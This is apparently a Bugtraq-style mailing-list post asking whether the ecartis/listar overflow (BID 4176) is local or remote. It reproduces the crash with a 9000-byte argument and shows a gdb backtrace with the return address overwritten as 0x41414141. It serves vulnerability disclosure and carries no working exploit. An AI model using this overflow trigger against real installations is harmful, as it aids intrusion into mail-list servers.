listar / ecaris remote or local?

[KF <dotslash () snosoft com>]

http://online.securityfocus.com/bid/4176 states a Remote issue...

bugtraq id 4176
object
class Boundary Condition Error
cve CVE-MAP-NOMATCH
remote Yes
local No


Which is it local or remote ... or both? Is this (see below) even the 
same issue?
[root@linuxppc src]# ./ecartis  `perl -e 'print "A" x 9000'`
[root@linuxppc src]#
^-------- ecartis is sneaky... trying to hide segfaults from me.

[root@linuxppc src]# gdb ./ecartis
(gdb) r `perl -e 'print "A" x 9000'`
Starting program: /root/ecartis-1.0.0/src/./ecartis `perl -e 'print "A" 
x 9000'`

Program received signal SIGSEGV, Segmentation fault
0x0fe6fcf8 in getenv () from /lib/libc.so.6

(gdb) bt
#0  0x0fe6fcf8 in getenv () from /lib/libc.so.6
#1  0x0fedb590 in adjtime () from /lib/libc.so.6
#2  0x0fedc3cc in adjtime () from /lib/libc.so.6
#3  0x0fed8a08 in localtime () from /lib/libc.so.6
#4  0x1000b5f4 in get_date (buffer=0x7fffbf88 "\017÷\205È", len=80, 
now=1014824239) at core.c:1262
#5  0x1000bd14 in error_heading () at forms.c:162
#6  0x100091f0 in internal_error (
  message=0x7fffd078 "Unrecognized command line argument '", 'A' 
<repeats 164 times>...) at core.c:428
#7  0x1000a888 in main (argc=2, argv=0x7fffd508) at core.c:959
#8  0x41414141 in ?? ()

-KF